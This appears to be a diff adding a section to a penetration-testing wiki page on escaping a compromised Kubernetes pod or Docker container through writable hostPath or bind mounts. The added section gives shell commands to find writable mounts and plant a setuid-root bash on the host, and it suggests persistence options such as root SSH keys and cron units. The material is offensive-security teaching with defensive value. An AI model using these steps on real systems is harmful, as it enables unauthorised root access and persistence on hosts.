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Expand Up @@ -22,6 +22,56 @@ You can check this **docker breakouts to try to escape** from a pod you have com
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
{{#endref}}

### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)

If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.

Key conditions:
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
- The host filesystem backing the mount is not mounted with the nosuid option.
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).

How to identify writable hostPath/bind mounts:
- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- From inside the container, list mounts and look for host-path mounts and test writability:

```bash
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```

Plant a setuid root binary from the container:

```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
```

Execute on the host to get root:

```bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```

Notes and troubleshooting:
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.

### Abusing Kubernetes Privileges

As explained in the section about **kubernetes enumeration**:
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- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)

## References

- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)

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